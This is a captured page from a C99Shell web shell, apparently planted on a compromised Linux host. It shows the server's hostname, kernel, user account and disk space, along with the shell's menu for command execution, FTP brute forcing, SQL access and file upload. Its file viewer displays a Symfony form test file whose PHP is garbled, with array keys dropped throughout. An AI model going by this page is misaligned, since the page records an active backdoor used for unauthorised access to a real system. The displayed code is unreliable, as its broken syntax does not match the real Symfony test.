!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/Form/Symfony/Component/Form/Tests/Extension/Core/ChoiceList/   drwxr-xr-x
Free 294.06 GB of 429.69 GB (68.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SimpleChoiceListTest.php (3.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Form\Tests\Extension\Core\ChoiceList;

use 
Symfony\Component\Form\Extension\Core\ChoiceList\SimpleChoiceList;
use 
Symfony\Component\Form\Extension\Core\View\ChoiceView;

class 
SimpleChoiceListTest extends AbstractChoiceListTest
{
    public function 
testInitArray()
    {
        
$choices = array('a' => 'A''b' => 'B''c' => 'C');
        
$this->list = new SimpleChoiceList($choices, array('b'));

        
$this->assertSame(array(=> 'a'=> 'b'=> 'c'), $this->list->getChoices());
        
$this->assertSame(array(=> 'a'=> 'b'=> 'c'), $this->list->getValues());
        
$this->assertEquals(array(=> new ChoiceView('b''b''B')), $this->list->getPreferredViews());
        
$this->assertEquals(array(=> new ChoiceView('a''a''A'), => new ChoiceView('c''c''C')), $this->list->getRemainingViews());
    }

    public function 
testInitNestedArray()
    {
        
$this->assertSame(array(=> 'a'=> 'b'=> 'c'=> 'd'), $this->list->getChoices());
        
$this->assertSame(array(=> 'a'=> 'b'=> 'c'=> 'd'), $this->list->getValues());
        
$this->assertEquals(array(
            
'Group 1' => array(=> new ChoiceView('b''b''B')),
            
'Group 2' => array(=> new ChoiceView('c''c''C'))
        ), 
$this->list->getPreferredViews());
        
$this->assertEquals(array(
            
'Group 1' => array(=> new ChoiceView('a''a''A')),
            
'Group 2' => array(=> new ChoiceView('d''d''D'))
        ), 
$this->list->getRemainingViews());
    }

    
/**
     * @dataProvider dirtyValuesProvider
     */
    
public function testGetValuesForChoicesDealsWithDirtyValues($choice$value)
    {
        
$choices = array(
            
'0' => 'Zero',
            
'1' => 'One',
            
'' => 'Empty',
            
'1.23' => 'Float',
            
'foo' => 'Foo',
            
'foo10' => 'Foo 10',
        );

        
$this->list = new SimpleChoiceList($choices, array());

        
$this->assertSame(array($value), $this->list->getValuesForChoices(array($choice)));
    }

    public function 
dirtyValuesProvider()
    {
        return array(
            array(
0'0'),
            array(
'0''0'),
            array(
'1''1'),
            array(
false'0'),
            array(
true'1'),
            array(
''''),
            array(
null''),
            array(
'1.23''1.23'),
            array(
'foo''foo'),
            array(
'foo10''foo10'),
        );
    }

    
/**
     * @return \Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface
     */
    
protected function createChoiceList()
    {
        return new 
SimpleChoiceList(array(
            
'Group 1' => array('a' => 'A''b' => 'B'),
            
'Group 2' => array('c' => 'C''d' => 'D'),
        ), array(
'b''c'));
    }

    protected function 
getChoices()
    {
        return array(
=> 'a'=> 'b'=> 'c'=> 'd');
    }

    protected function 
getLabels()
    {
        return array(
=> 'A'=> 'B'=> 'C'=> 'D');
    }

    protected function 
getValues()
    {
        return array(
=> 'a'=> 'b'=> 'c'=> 'd');
    }

    protected function 
getIndices()
    {
        return array(
0123);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0964 ]--